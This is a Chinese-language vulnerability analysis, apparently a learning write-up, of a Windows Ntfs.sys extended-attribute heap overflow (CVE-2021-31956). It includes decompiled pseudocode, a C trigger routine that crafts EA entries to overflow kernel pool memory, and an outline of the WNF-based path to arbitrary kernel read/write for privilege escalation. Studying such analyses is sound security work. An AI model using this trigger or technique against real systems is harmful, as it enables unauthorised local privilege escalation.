该漏洞发生在 Ntfs.sys文件中,由于该系统程序在处理文件额外信息查询时,对相关对象检查不严谨导致堆溢出,攻击者可以利用该漏洞进行本地权限提升。
windows_10:-:*:*:*:*:*:*:*
windows_10:20h2:*:*:*:*:*:*:*
windows_10:21h1:*:*:*:*:*:*:*
windows_10:1607:*:*:*:*:*:*:*
windows_10:1809:*:*:*:*:*:*:*
windows_10:1909:*:*:*:*:*:*:*
windows_10:2004:*:*:*:*:*:*:*
windows_7:-:sp1:*:*:*:*:*:*
windows_8.1:-:*:*:*:*:*:*:*
windows_rt_8.1:-:*:*:*:*:*:*:*
windows_server_2008:r2:sp1:*:*:*:*:x64:*
windows_server_2008:sp2:*:*:*:*:*:*:*
windows_server_2012:-:*:*:*:*:*:*:*
windows_server_2012:r2:*:*:*:*:*:*:*
windows_server_2016:-:*:*:*:*:*:*:*
windows_server_2016:20h2:*:*:*:*:*:*:*
windows_server_2016:2004:*:*:*:*:*:*:*
windows_server_2019:-:*:*:*:*:*:*:*
7.8 | 高危
扩展文件属性(EA)是文件系统的一个功能。它允许用户将计算机文件与未被文件系统所解释的元数据关联起来。与之相对应的是正规文件属性,其具有经文件系统严格定义的意义(例如文件系统权限或者文件创建以及修改时间等)。与通常能具有最大文件大小的forks不同,扩展文件属性通常被限制为远小于最大文件大小。其典型应用包括存储文档作者、普通文本文件的字符编码或者校验码。
对文件 EA进行读写的 API及其定义如下:
// 设置文件的扩展属性 (EA) 值
NTSTATUS ZwSetEaFile(
[in] HANDLE FileHandle, // 要对其执行操作的文件的句柄
[out] PIO_STATUS_BLOCK IoStatusBlock, // 该结构接收最终完成状态和有关请求操作的其他信息。
[in] PVOID Buffer, // 指向调用者提供的 FILE_FULL_EA_INFORMATION 输入缓冲区的指针,其中包含要设置的扩展属性值。
[in] ULONG Length // 缓冲区大小
);
// 返回有关文件的扩展属性 (EA) 值的信息
NTSTATUS ZwQueryEaFile(
[in] HANDLE FileHandle, // 要对其执行操作的文件的句柄。
[out] PIO_STATUS_BLOCK IoStatusBlock, // 接收有关请求操作的最终完成状态和其他信息。
[out] PVOID Buffer, // 指向调用者提供的指针 FILE_FULL_EA_INFORMATION 输出缓冲区,其中将返回扩展的属性值。
[in] ULONG Length, // 缓冲区的长度(以字节为单位)
[in] BOOLEAN ReturnSingleEntry, // 如果设置为True,则只返回一个找到的条目,False则返回多个
[in, optional] PVOID EaList, // 指向调用者提供的指针 FILE_GET_EA_INFORMATION 输入,指定要查询的扩展属性。 该参数是可选的,可以是NULL 。
[in] ULONG EaListLength, // EaList的大小
[in, optional] PULONG EaIndex, // 应该开始扫描文件的扩展属性列表的条目的索引。该参数可选,可以是NULL
[in] BOOLEAN RestartScan // 如果为TRUE则表示从EaIndex位置开始检索,如果为FALSE,则用从上一次调用ZwQueryEaFile 返回的值作为当前检索的起点进行检索
);
设置为 TRUE 如果 Z w Q u e r y E a F i l e \textcolor{cornflowerblue}{ZwQueryEaFile } ZwQueryEaFile应该在第一个开始扫描文件的扩展属性列表中的条目。 如果此参数设置为 FALSE ,则例程从先前的调用恢复扫描 Z w Q u e r y E a F i l e \textcolor{cornflowerblue}{ZwQueryEaFile } ZwQueryEaFile。
上述对文件的 EA进行写入时涉及到一个重要的结构体
typedef struct _FILE_FULL_EA_INFORMATION {
ULONG NextEntryOffset; // 下一个 FILE_FULL_EA_INFORMATION 类型条目的偏移量。 如果此成员后面没有其他条目,则此成员为零。
UCHAR Flags; // 可以为0也可以用 FILE_NEED_EA 设置,表示如果不了解相关的扩展属性就无法解释 EA 所属的文件。
UCHAR EaNameLength; // EaName 的长度
USHORT EaValueLength; // EA 值的字节长度
CHAR EaName[1]; // 该条目命名 EA 的字符数组
} FILE_FULL_EA_INFORMATION, *PFILE_FULL_EA_INFORMATION;
上诉对文件的 EA进行读取时涉及到一个重要的结构体
漏洞位于 N t f s Q u e r y E a U s e r E a L i s t \textcolor{cornflowerblue}{NtfsQueryEaUserEaList} NtfsQueryEaUserEaList函数中,该函数伪代码如下:
IO_STATUS_BLOCK *__fastcall NtfsQueryEaUserEaList(IO_STATUS_BLOCK *retstr, _FILE_FULL_EA_INFORMATION *CurrentEas, _EA_INFORMATION *EaInformation, _FILE_FULL_EA_INFORMATION *EaBuffer, __int64 UserBufferLength, _FILE_GET_EA_INFORMATION *UserEaList, unsigned int a5, char ReturnSingleEntry)
{
...
EaBuffer_1 = EaBuffer;
EaInformation_1 = EaInformation;
CurrentEas_1 = CurrentEas;
v8 = retstr;
v9 = 0;
retstr->Pointer = 0i64;
v25 = 0i64;
v10 = 0;
Offset = 0;
PrevEaPadding = 0;
retstr->Information = 0i64;
while ( 1 )
{
GetEa = (UserEaList + v10);
GeaName[0] = 0i64;
GeaName[1] = 0i64;
v27 = 0i64;
v28 = 0i64;
GeaName[0] = *(&UserEaList->EaNameLength + v10);
WORD1(GeaName[0]) = GeaName[0];
GeaName[1] = GetEa + 5;
RtlUpperString(GeaName, GeaName);
if ( !NtfsIsEaNameValid(GeaName) )
break;
v13 = GetEa->NextEntryOffset;
v14 = GetEa->EaNameLength;
v23 = GetEa->NextEntryOffset + v10;
for ( CurrentEalist = UserEaList; ; CurrentEalist = (CurrentEalist + CurrentEalist->NextEntryOffset) )
{
if ( CurrentEalist == GetEa )
{
t_offset = Offset;
NextFullEa = (EaBuffer_1 + PrevEaPadding + Offset);
if ( NtfsLocateEaByName(CurrentEas_1, EaInformation_1->UnpackedEaSize, GeaName, &FeaOffset) )
{
ThisEa = (CurrentEas_1 + FeaOffset);
RawEaSize = ThisEa->EaValueLength + ThisEa->EaNameLength + 9;
if ( RawEaSize <= UserBufferLength - PrevEaPadding )// 存在整数溢出
{
memmove(NextFullEa, ThisEa, RawEaSize);// 内存溢出
NextFullEa->NextEntryOffset = 0;
goto LABEL_8;
}
}
else
{
...
if ( RawEaSize + PrevEaPadding <= UserBufferLength )
{
...
LABEL_8:
v19 = RawEaSize + PrevEaPadding + t_offset;
Offset = v19;
if ( !a5 )
{
if ( v25 )
v25->NextEntryOffset = NextFullEa - v25;
if ( GetEa->NextEntryOffset )
{
v25 = NextFullEa;
LODWORD(UserBufferLength) = UserBufferLength - (RawEaSize + PrevEaPadding);
PrevEaPadding = ((RawEaSize + 3) & 0xFFFFFFFC) - RawEaSize;
goto LABEL_26;
}
}
LABEL_12:
v8->Information = v19;
LABEL_13:
v8->Status = v9;
return v8;
}
}
v22 = NtfsStatusDebugFlags;
v8->Information = 0i64;
if ( v22 )
NtfsStatusTraceAndDebugInternal(0i64, 0x80000005i64, 919407i64);
v9 = 0x80000005;
goto LABEL_13;
}
if ( v14 == CurrentEalist->EaNameLength && !memcmp(&GetEa->EaName, &CurrentEalist->EaName, v14) )
break;
}
if ( !v13 )
{
v19 = Offset;
goto LABEL_12;
}
LABEL_26:
v10 = v23;
}
...
return v8;
}
总体是个大循环,不断遍历 FILE_FULL_EA_INFORMATION
类型的数组,根据用户给定的 FILE_GET_EA_INFORMATION
,找出目标文件的 EA信息。
@line:42 UserBufferLength是有符号数,RawEaSize和 PrevEaPadding是无符号数,进行比较的时候 UserBufferLength会自动视为无符号数。假设 UserBufferLength可以为 0的话,这一处 if检查将会失效,如果 RawEaSize可控的话可能会导致内存溢出。NextFullEa在函数 N t f s C o m m o n Q u e r y E a \textcolor{cornflowerblue}{NtfsCommonQueryEa} NtfsCommonQueryEa中进行分配
IO_STATUS_BLOCK CurrentEas;
...
size = *((unsigned int *)CurrentEas.Pointer + 2);
...
if ( (_DWORD)size )
{
v17 = (_FILE_FULL_EA_INFORMATION *)NtfsMapUserBuffer(a2, 16i64);
...
if ( a2[4].m128i_i8[0] )
{
...
KernelBuffer = (_FILE_FULL_EA_INFORMATION *)ExAllocatePoolWithTag((POOL_TYPE)17, (unsigned int)size, 'EFtN');
*(_QWORD *)&v31[4] = KernelBuffer;
v29 = 1;
}
memset(KernelBuffer, 0, size);
...
}
...
if ( v29 )
ExFreePoolWithTag(KernelBuffer, 0);
...
而 N t f s C o m m o n Q u e r y E a \textcolor{cornflowerblue}{NtfsCommonQueryEa} NtfsCommonQueryEa的应用层接口是 Z w Q u e r y E a F i l e \textcolor{cornflowerblue}{ZwQueryEaFile} ZwQueryEaFile。
@line:65 每读取到一个 EA信息之后,UserBufferLength会减去当前读取到的 EA大小,因此 UserBufferLength会递减,总会有小于 PrevEaPadding的那一刻。
@line:66 RawEaSize是按 4字节对齐的,如果实际 EA的大小不足 4字节,多出来的那部分就是 PrevEaPadding,只有 0/1/2/3 这 4种取值。
为了触发溢出漏洞,首先需要创建一个文件,并设置 EA。该文件的 EA应该包含两个值,第一个值对应的键名记为 TRIGGER_EA_NAME,目的是让系统查询完这个值后,UserBufferLength小于 PrevEaPadding,并且 PrevEaPadding大于 0,这样在查询第二个 EA的时候能够使检测溢出的条件判断失效。第二个值对应的键名记为 OVER_EA_NAME,目的是控制 RawEaSize的大小,从而控制溢出的字节数。因此代码如下:
#define TIGGER_EA_NAME "brucy"
#define OVER_EA_NAME "hack"
#define TIGGER_EA_NAME_LENGTH (UCHAR)(strlen(TIGGER_EA_NAME))
#define OVER_EA_NAME_LENGTH (UCHAR)(strlen(OVER_EA_NAME))
#define KERNAL_ALLOC_SIZE 0xF7
#define FRIST_RAWSIZE ((KERNAL_ALLOC_SIZE) - (1))
#define TIGGER_EA_VALUE_LENGTH ((FRIST_RAWSIZE) - (TIGGER_EA_NAME_LENGTH) -(9))
void Exploit() {
HANDLE hFile = INVALID_HANDLE_VALUE;
PFILE_GET_EA_INFORMATION ea_get_info_ref = NULL;
PFILE_FULL_EA_INFORMATION p_ea_full_info = NULL;
IO_STATUS_BLOCK iostb;
NTSTATUS ntst = 1;
DWORD retSize;
char revBuf[KERNAL_ALLOC_SIZE] = { 0 };
const char* data = "AAAAAAAAAAAAAAAA";
hFile = CreateFileA("payload",
GENERIC_READ | GENERIC_WRITE,
FILE_SHARE_READ | FILE_SHARE_WRITE,
NULL,
CREATE_ALWAYS,
FILE_ATTRIBUTE_NORMAL,
NULL);
if (hFile == INVALID_HANDLE_VALUE) {
printf("[Error_%d] Exploit(): CreateFileA failed.\n", __LINE__);
goto clean;
}
if (!WriteFile(hFile, data, strlen(data), &retSize, NULL)) {
printf("[Error_%d] Exploit(): Write data for file failed.\n", __LINE__);
goto clean;
}
p_ea_full_info = (PFILE_FULL_EA_INFORMATION)g_Payload;
//先伪造第一个EA信息
p_ea_full_info->Flags = 0;
p_ea_full_info->EaNameLength = TIGGER_EA_NAME_LENGTH;
p_ea_full_info->EaValueLength = TIGGER_EA_VALUE_LENGTH;
// 根据结构体官方说明需按4字节对齐
p_ea_full_info->NextEntryOffset = (p_ea_full_info->EaNameLength + p_ea_full_info->EaValueLength + 9 + 3)& (~3);
memcpy(p_ea_full_info->EaName , TIGGER_EA_NAME, TIGGER_EA_NAME_LENGTH);
RtlFillMemory(p_ea_full_info->EaName + p_ea_full_info->EaNameLength + 1, TIGGER_EA_VALUE_LENGTH, 'A');
//伪造第二个EA信息
p_ea_full_info->Flags = 0;
p_ea_full_info = (PFILE_FULL_EA_INFORMATION)((char*)p_ea_full_info + p_ea_full_info->NextEntryOffset);
p_ea_full_info->EaNameLength = OVER_EA_NAME_LENGTH;
p_ea_full_info->EaValueLength = OVER_EA_VALUE_LENGTH;
p_ea_full_info->NextEntryOffset = 0;
memcpy(p_ea_full_info ->EaName, OVER_EA_NAME, OVER_EA_NAME_LENGTH);
RtlFillMemory(p_ea_full_info->EaName + p_ea_full_info->EaNameLength + 1, OVER_EA_VALUE_LENGTH, 0);
//设置EA
ntst = ZwSetEaFile(hFile, &iostb, g_Payload, sizeof(g_Payload));
if (ntst != 0) {
printf("[Error_%d] Exploit(): call ZwSetEaFile failed.\n", __LINE__);
goto clean;
}
ea_get_info_ref = (PFILE_GET_EA_INFORMATION)malloc(100);
memset(ea_get_info_ref, 0, 100);
memcpy(ea_get_info_ref->EaName, TIGGER_EA_NAME, TIGGER_EA_NAME_LENGTH);
ea_get_info_ref->EaNameLength = TIGGER_EA_NAME_LENGTH;
//与设置EA是的结构体对应,需按4字节对齐
ea_get_info_ref->NextEntryOffset = (sizeof(FILE_GET_EA_INFORMATION) + TIGGER_EA_NAME_LENGTH)&(~3);
ea_get_info_ref = (PFILE_GET_EA_INFORMATION)((PCHAR)ea_get_info_ref + 12);
memcpy(ea_get_info_ref->EaName, OVER_EA_NAME, OVER_EA_NAME_LENGTH);
ea_get_info_ref->EaNameLength = OVER_EA_NAME_LENGTH;
ea_get_info_ref->NextEntryOffset = 0;
ea_get_info_ref= (PFILE_GET_EA_INFORMATION)((PCHAR)ea_get_info_ref -12);
__debugbreak();
ZwQueryEaFile(hFile, &iostb,revBuf, KERNAL_ALLOC_SIZE,false, ea_get_info_ref,100,0,true);
clean:
if(hFile!=INVALID_HANDLE_VALUE)
CloseHandle(hFile);
if(ea_get_info_ref)
free(ea_get_info_ref);
}
动态调试,观察一下是否成功溢出。这是查询 EA中第一个值前
查询 EA中第二个值前
发现与 NextFullEa邻近的下个堆块被溢出破坏了,但是有个比较神奇的现象就是操作系统并不会马上崩溃,还能正常工作。而被覆盖掉的这部分数据,其实是POOL_HEADER
结构。
在考虑如何利用之前需要补充一些基础知识,就是关于 Windows10内核堆的结构。
Windows10引入了新的堆管理方式与应用层类似,新增了一个段表 Segment Heap。每个堆块由一个堆头来记录元数据,共 16字节大小。
+0x000 PreviousSize : Pos 0, 8 Bits +0x000 PoolIndex : Pos 8, 8 Bits +0x002 BlockSize : Pos 0, 8 Bits +0x002 PoolType : Pos 8, 8 Bits +0x000 Ulong1 : Uint4B +0x004 PoolTag : Uint4B +0x008 ProcessBilled : Ptr64 _EPROCESS +0x008 AllocatorBackTraceIndex : Uint2B +0x00a PoolTagHash : Uint2B
在该漏洞环境下,NextFullEa所在的堆块属于临时堆,在函数 N t f s C o m m o n Q u e r y E a \textcolor{cornflowerblue}{NtfsCommonQueryEa} NtfsCommonQueryEa调用结束就会被释放,所以不能使用 S e g m e n t H e a p A l i g n e d C h u n k C o n f u s i o n \textcolor{orange}{SegmentHeap\ Aligned\ Chunk\ Confusion} SegmentHeap Aligned Chunk Confusion的方式利用。
网上公开的 POC利用 _WNF_NAME_INSTANCE
和_WNF_STATE_DATA
实现提权,我在这里作为学习记录一下。
_WNF_STATE_DATA
简单理解为一个内核数据存储器,通过函数 N t C r e a t e W n f S t a t e N a m e \textcolor{cornflowerblue}{NtCreateWnfStateName} NtCreateWnfStateName创建一个 _WNF_NAME_INSTANCE
的实例 WNF。
N t C r e a t e W n f S t a t e N a m e \textcolor{cornflowerblue}{NtCreateWnfStateName} NtCreateWnfStateName定义:
typedef NTSTATUS (NTAPI * NtCreateWnfStateName)(
_Out_ PWNF_STATE_NAME StateName,
_In_ WNF_STATE_NAME_LIFETIME NameLifetime,
_In_ WNF_DATA_SCOPE DataScope,
_In_ BOOLEAN PersistData,
_In_opt_ PCWNF_TYPE_ID TypeId,
_In_ ULONG MaximumStateSize,
_In_ PSECURITY_DESCRIPTOR SecurityDescriptor
);
该函数会在内核中创建一个 _WNF_NAME_INSTANCE
结构:
if ( PsInitialSystemProcess == a4 || (_DWORD)v7 != 3 )
{
v10 = 0xB8i64;
if ( !v5 )
v10 = 0xA8i64;
v11 = ExAllocatePoolWithTag(PagedPool, v10, ' fnW');
}
else
{
v28 = 184i64;
if ( !v5 )
v28 = 168i64;
v11 = ExAllocatePoolWithQuotaTag((POOL_TYPE)9, v28, ' fnW');
}
_WNF_NAME_INSTANCE
的大小为 0xB8
可以通过 N t U p d a t e W n f S t a t e D a t a \textcolor{cornflowerblue}{NtUpdateWnfStateData} NtUpdateWnfStateData向对象写入数据,并以_WNF_STATE_DATA
结构存储写入的数据;
N t U p d a t e W n f S t a t e D a t a \textcolor{cornflowerblue}{NtUpdateWnfStateData} NtUpdateWnfStateData定义:
typedef NTSTATUS (NTAPI * NtUpdateWnfStateData)(
_In_ PWNF_STATE_NAME StateName,
_In_reads_bytes_opt_(Length) const VOID * Buffer,
_In_opt_ ULONG Length,
_In_opt_ PCWNF_TYPE_ID TypeId,
_In_opt_ const PVOID ExplicitScope,
_In_ WNF_CHANGE_STAMP MatchingChangeStamp,
_In_ ULONG CheckStamp);
函数 N t U p d a t e W n f S t a t e D a t a \textcolor{cornflowerblue}{NtUpdateWnfStateData} NtUpdateWnfStateData会将数据写到 _WNF_NAME_INSTANCE
结构中的_WNF_STATE_DATA
域:
...
v12 = Wnf_Name_Instance->StateData;
if ( !v12 && (Wnf_Name_Instance->PermanentDataStore || (_DWORD)length_1)
|| (State_data = v12) != 0i64 && v12->AllocatedSize < (unsigned int)length_1 )
{
...
v21 = (_WNF_STATE_DATA *)ExAllocatePoolWithQuotaTag((POOL_TYPE)9, (unsigned int)(length_1 + 16), 0x20666E57u);
Alloc_Heap = v21;
...
}
...
if ( Wnf_Name_Instance->StateData != (_WNF_STATE_DATA *)1 )
State_data = Wnf_Name_Instance->StateData;
if ( !State_data || State_data->AllocatedSize < (unsigned int)length_1 )
State_data = Alloc_Heap;
...
memmove(&State_data[1], buffer, length_1);
State_data->DataSize = length_1;
State_data->ChangeStamp = i;
...
@line:4如果用户传进来的 S t a t e N a m e − > S t a t e D a t a − > A l l o c a t e d S i z e \textcolor{orange}{StateName->StateData->AllocatedSize} StateName−>StateData−>AllocatedSize小于用户指定写入数据的大小 length,则会将数据写入新创建的一个堆中,否则直接将数据写入到用户传进来的 S t a t e N a m e − > S t a t e D a t a \textcolor{orange}{StateName->StateData} StateName−>StateData。因此这里在后续利用的时候需要注意!
还有一处地方需要注意,这处地方也是我后知后觉的
__int64 __fastcall ExpWnfValidatePubSubPreconditions(ACCESS_MASK DesiredAccess, _WNF_STATE_NAME_REGISTRATION *StateInfo, unsigned int a3, _QWORD *a4, int a5)
{
...
v8 = v7->MaxStateSize < length ? 0xC000000D : 0;
}
return (unsigned int)v8;
}
可以通过 N t Q u e r y W n f S t a t e D a t a \textcolor{cornflowerblue}{NtQueryWnfStateData} NtQueryWnfStateData读取数据, N t Q u e r y W n f S t a t e D a t a \textcolor{cornflowerblue}{NtQueryWnfStateData} NtQueryWnfStateData定义如下:
typedef NTSTATUS (NTAPI * NtQueryWnfStateData)(
_In_ PWNF_STATE_NAME StateName,
_In_opt_ PWNF_TYPE_ID TypeId,
_In_opt_ const VOID * ExplicitScope,
_Out_ PWNF_CHANGE_STAMP ChangeStamp,
_Out_writes_bytes_to_opt_(*BufferSize, *BufferSize) PVOID Buffer,
_Inout_ PULONG BufferSize);
查询 StateData的核心代码:
StateData = StateName->StateData;
...
*a2 = StateData->ChangeStamp;
*a5 = StateData->DataSize;
DataSize = StateData->DataSize;
if ( BufferSize < DataSize )
{
v14 = 0xC0000023;
}
else
{
memmove(Buffer, &StateData[1], DataSize);
v14 = 0;
}
...
return v14
如果用户传递的 BufferSize小于 S t a t e D a t a − > D a t a S i z e \textcolor{orange}{StateData->DataSize} StateData−>DataSize,则返回失败,否则从 S t a t e D a t a [ 1 ] \textcolor{orange}{StateData[1]} StateData[1]开始,读取 DataSize个字节数据到用户提供的缓冲区 Buffer中。
可以使用 N t D e l e t e W n f S t a t e D a t a \textcolor{cornflowerblue}{NtDeleteWnfStateData} NtDeleteWnfStateData释放 WNF对象。
相关结构体定义如下:
0: kd> dt nt!_WNF_NAME_INSTANCE
+0x000 Header : _WNF_NODE_HEADER
+0x008 RunRef : _EX_RUNDOWN_REF
+0x010 TreeLinks : _RTL_BALANCED_NODE
+0x028 StateName : _WNF_STATE_NAME_STRUCT
+0x030 ScopeInstance : Ptr64 _WNF_SCOPE_INSTANCE
+0x038 StateNameInfo : _WNF_STATE_NAME_REGISTRATION
+0x050 StateDataLock : _WNF_LOCK
+0x058 StateData : Ptr64 _WNF_STATE_DATA
+0x060 CurrentChangeStamp : Uint4B
+0x068 PermanentDataStore : Ptr64 Void
+0x070 StateSubscriptionListLock : _WNF_LOCK
+0x078 StateSubscriptionListHead : _LIST_ENTRY
+0x088 TemporaryNameListEntry : _LIST_ENTRY
+0x098 CreatorProcess : Ptr64 _EPROCESS
+0x0a0 DataSubscribersCount : Int4B
+0x0a4 CurrentDeliveryCount : Int4B
-----------------------------------------------------------
0: kd> dt nt!_WNF_STATE_DATA
+0x000 Header : _WNF_NODE_HEADER
+0x004 AllocatedSize : Uint4B
+0x008 DataSize : Uint4B
+0x00c ChangeStamp : Uint4B
利用 Ntfs的堆溢出,覆盖修改相邻的 STATE_DATA
块的 AllocateSize和 DataSize成员,使其能够通过 N t Q u e r y W n f S t a t e D a t a \textcolor{cornflowerblue}{NtQueryWnfStateData} NtQueryWnfStateData和 N t U p d a t e W n f S t a t e D a t a \textcolor{cornflowerblue}{NtUpdateWnfStateData} NtUpdateWnfStateData读取和修改到相邻的 WNF_NAME_INSTANCE
块数据。此时的修改和读取只是相对于内存进行,还没有实现任意内存的读写。
利用相对内存写修改邻近的 WNF_NAME_INSTANCE
结构的 StateData指针为任意内存地址,就能够实现任意内存读写了。
需要特别注意的就是 _WNF_STATE_DATA
只能进行有限的地址读写。这里的有限意思是说,如果要读写的目标地址中,没有合适的数据可以构造 AllocateSize和 DataSize,就不能对该地址进行读写,所以利用的时候需要按实际情况进行调整。
由于代码有些多,所以上传到资源里了,也想赚点资源积分。等到审核通过后再补贴上下载链接。
[1] https://bbs.pediy.com/thread-271140.htm#msg_header_h2_2
[2] https://baike.baidu.com/item/%E6%89%A9%E5%B1%95%E6%96%87%E4%BB%B6%E5%B1%9E%E6%80%A7/22784967
[3] https://docs.microsoft.com/en-us/windows-hardware/drivers/ddi/wdm/ns-wdm-_file_full_ea_information
[4] https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-fscc/79dc1ea1-158c-4b24-b0e1-8c16c7e2af6b
[5] https://zhuanlan.zhihu.com/p/450746447
[6] https://research.nccgroup.com/2021/07/15/cve-2021-31956-exploiting-the-windows-kernel-ntfs-with-wnf-part-1/